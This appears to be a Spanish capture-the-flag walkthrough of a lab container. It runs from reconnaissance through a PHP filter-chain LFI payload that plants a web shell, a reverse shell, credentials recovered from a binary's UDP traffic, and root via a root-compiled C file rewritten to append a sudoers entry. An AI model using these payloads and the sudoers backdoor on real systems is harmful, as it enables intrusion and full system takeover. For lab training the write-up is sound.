Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-11 14:13 EST
Nmap scan report for 172.17.0.2
Host is up (0.00013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f1:2d:b0:54:e3:57:94:c8:3a:1a:7a:ba:d8:2d:7e:f9 (ECDSA)
|_ 256 cc:70:cb:29:31:d9:48:f7:e2:2f:ec:b2:65:8c:ee:8e (ED25519)
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: \xF0\x9F\x91\x8B Mario \xC3\x81lvarez Fer\xC5\x84andez
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.13 seconds
Vemos que hay 2 puertos abiertos, si entramos en la pagina que hay alojada en el puerto 80 veremos una pagina aparentemente normal, por lo que vamos a realizar un poco de fuzzing, pero si lo hacemos con gobuster no vamos a ver muchos resultados ya que algo lo esta bloqueando, pero si investigamos y le damos a Sobre Mi vemos en la URL que nos lleva a un index.php, ya que como tiene una extension .php vamos a probar a realizar un poco de fuzzing con la extension por si tuviera alguna vulnerabilidad de un LFI.
Vemos que funciona correctamente, vamos a comprobar si se pudieran utilizar wrappers junto con este LFI para poder ejecutar codigo de forma remota y no solo leer archivos.
[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Copiamos eso y lo metemos despues del igual de la siguiente manera...
Y si volvemos donde tenemos la escucha veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 45316
$ whoami
whoami
www-data
Ahora tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user
Si nos vamos a la siguiente ruta:
cd /var/www
Vemos un archivo bastante interesante llamado sendinv2 que contiene un texto compilado, pero hay partes medio legibles, pero si utilizamos la herramienta strings podremos ver la siguiente parte bastante interesante:
strings sendinv2
Info:
FDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCON
RRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3N
R5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA===
%s%s%s%s%s%s
Error al crear el socket
172.17.0.188
Error al enviar datos
Vemos que se esta intentando conectar a la IP denominada 172.17.0.188, por lo que vamos añadirnos esa IP a nuestro host para ver que podemos recibir o que esta enviando.
ip address del 172.17.0.188/16 dev docker0 # Eliminamos nuestra IP
ip address add 172.17.0.188/16 dev docker0 # Añadimos la IP nueva
Ahora haremos lo siguiente, nos pondremos a la escucha a la espera de recibir paquetes de red con el siguiente comando:
tcpdump -i docker0
Y en la maquina victima ejecutaremos el binario para ver que recibimos:
./sendinv2
Ahora si volvemos a donde tenemos la escucha de paquetes veremos todo este trafico:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:53:36.369792 ARP, Request who-has 172.17.0.2 tell 192.168.5.186, length 28
14:53:36.370025 ARP, Reply 172.17.0.2 is-at 02:42:ac:11:00:02 (oui Unknown), length 28
14:53:36.370027 IP 192.168.5.186.7755 > 172.17.0.2.45316: Flags [P.], seq 2403028148:2403028149, ack 1771868096, win 2443, options [nop,nop,TS val 1340143708 ecr 2825540779], length 1
14:53:36.370513 IP 172.17.0.2.45316 > 192.168.5.186.7755: Flags [P.], seq 1:2, ack 1, win 251, options [nop,nop,TS val 2826141998 ecr 1340143708], length 1
14:53:39.011726 ARP, Request who-has 172.17.0.188 tell 172.17.0.2, length 28
14:53:39.011732 ARP, Reply 172.17.0.188 is-at 02:42:2f:f6:d7:07 (oui Unknown), length 28
14:53:39.011780 IP 172.17.0.2.51118 > 172.17.0.188.7777: UDP, length 336
14:53:39.011841 IP 172.17.0.188 > 172.17.0.2: ICMP 172.17.0.188 udp port 7777 unreachable, length 372
^C
39 packets captured
39 packets received by filter
0 packets dropped by kernel
Vemos esta linea de aqui:
14:53:39.011841 IP 172.17.0.188 > 172.17.0.2: ICMP 172.17.0.188 udp port 7777 unreachable, length 372
Estamos viendo que se esta intentando conectar por el puerto 7777 mediante UDP, por lo que nosotros vamos a estar escuchando por ese puerto pero por UDP a ver que nos llega:
nc -lvnp 7777
Ahora si volvemos a ejecutar el binario, en la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [172.17.0.188] from (UNKNOWN) [172.17.0.2] 44619
MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCONRRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3NNR5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA====
Vemos que nos esta llegando un mensaje en Base32 y despues en Base64, si lo decodificamos veremos lo siguiente:
hola! somos el grupo BlackCat, pensamos en encriptar este server pero no tiene nada de interes, te ahorrare tiempo: cristal:dropchostop453SJF : disfruta
Vemos que obtenemos unas credenciales, por lo que nos conectaremos por ssh.
SSH
ssh cristal@<IP>
Metemos como contraseña dropchostop453SJF y veremos que estamos dentro.
Escalate Privileges
Si vemos a que grupos pertenecemos, veremos lo siguiente:
Vemos que pertenecemos a un grupo llamado editor bastante interesante, por lo que vamos a ver si ese grupo esta sujeto algun archivo de la siguiente forma:
find / -type f -group editor 2>/dev/null
Info:
/home/cristal/systm.c
Vemos que esta sujeto a ese archivo y podremos editarlo, si vemos que contiene:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <time.h>
void log_system_info(const char *filename) {
FILE *log_file = fopen(filename, "a");
if (log_file == NULL) {
perror("Error al abrir el archivo de log");
exit(EXIT_FAILURE);
}
// Información del sistema
struct utsname sys_info;
if (uname(&sys_info) < 0) {
perror("Error al obtener información del sistema");
exit(EXIT_FAILURE);
}
// Tiempo de inicio del sistema
struct timespec uptime;
if (clock_gettime(CLOCK_BOOTTIME, &uptime) < 0) {
perror("Error al obtener el tiempo de inicio del sistema");
exit(EXIT_FAILURE);
}
time_t boot_time = time(NULL) - uptime.tv_sec;
// Escribir la información en el archivo de log
fprintf(log_file, "-----------------------------\n");
fprintf(log_file, "Fecha y Hora: %s", ctime(&boot_time));
fprintf(log_file, "Nombre del Sistema: %s\n", sys_info.sysname);
fprintf(log_file, "Nombre del Host: %s\n", sys_info.nodename);
fprintf(log_file, "Versión del Sistema: %s\n", sys_info.release);
fprintf(log_file, "Versión del Kernel: %s\n", sys_info.version);
fprintf(log_file, "Arquitectura de Hardware: %s\n", sys_info.machine);
fprintf(log_file, "-----------------------------\n");
fclose(log_file);
}
int main() {
const char *log_filename = "/tmp/registros.log";
log_system_info(log_filename);
return 0;
}
Vemos que no hace gran cosa, pero vamos a ver que procesos se esta ejecutando:
ps -aux
Info:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4324 3200 ? Ss 14:12 0:00 /bin/bash /usr/local/bin/start.sh
root 24 0.0 0.2 203460 21816 ? Ss 14:12 0:00 /usr/sbin/apache2 -k start
www-data 36 0.0 0.2 211276 21556 ? S 14:12 0:02 /usr/sbin/apache2 -k start
root 40 0.0 0.0 12020 3976 ? Ss 14:12 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root 41 0.0 0.0 4324 3328 ? S 14:12 0:00 /bin/bash /home/cristal/systm.sh
root 42 0.0 0.0 4324 3200 ? S 14:12 0:00 /bin/bash /root/kill.sh
root 44 0.0 0.0 2728 1536 ? S 14:12 0:00 tail -f /dev/null
................................................
Vemos que root esta ejecutando /home/cristal/systm.sh y si leemos que hace este script:
#!/bin/bash
var1="/home/cristal/systm.c"
var2="/home/cristal/syst"
while true; do
gcc -o $var2 $var1
$var2
sleep 15
done
Vemos que esta compilando el archivo /home/cristal/systm.c y lo esta llamado /home/cristal/syst, seguidamente lo ejecuta, por lo que vamos a realizar lo siguiente:
nano /home/cristal/systm.c
#Dentro del nano
#include <stdlib.h>
int main() {
// Comando a ejecutar
const char *command = "echo 'cristal ALL=(ALL:ALL) ALL' >> /etc/sudoers";
// Ejecutar el comando usando system()
(void)system(command); // Ignorar el resultado
return 0;
}
Lo guardamos, esperamos unos segundos y si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for cristal on 2704bac91ebd:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cristal may run the following commands on 2704bac91ebd:
(ALL : ALL) ALL
(ALL : ALL) ALL
(ALL : ALL) ALL
(ALL : ALL) ALL
Por lo que haremos lo siguiente:
sudo su
Info:
root@2704bac91ebd:/home/cristal# whoami
root
Y con esto ya seremos root, por lo que habremos terminado la maquina.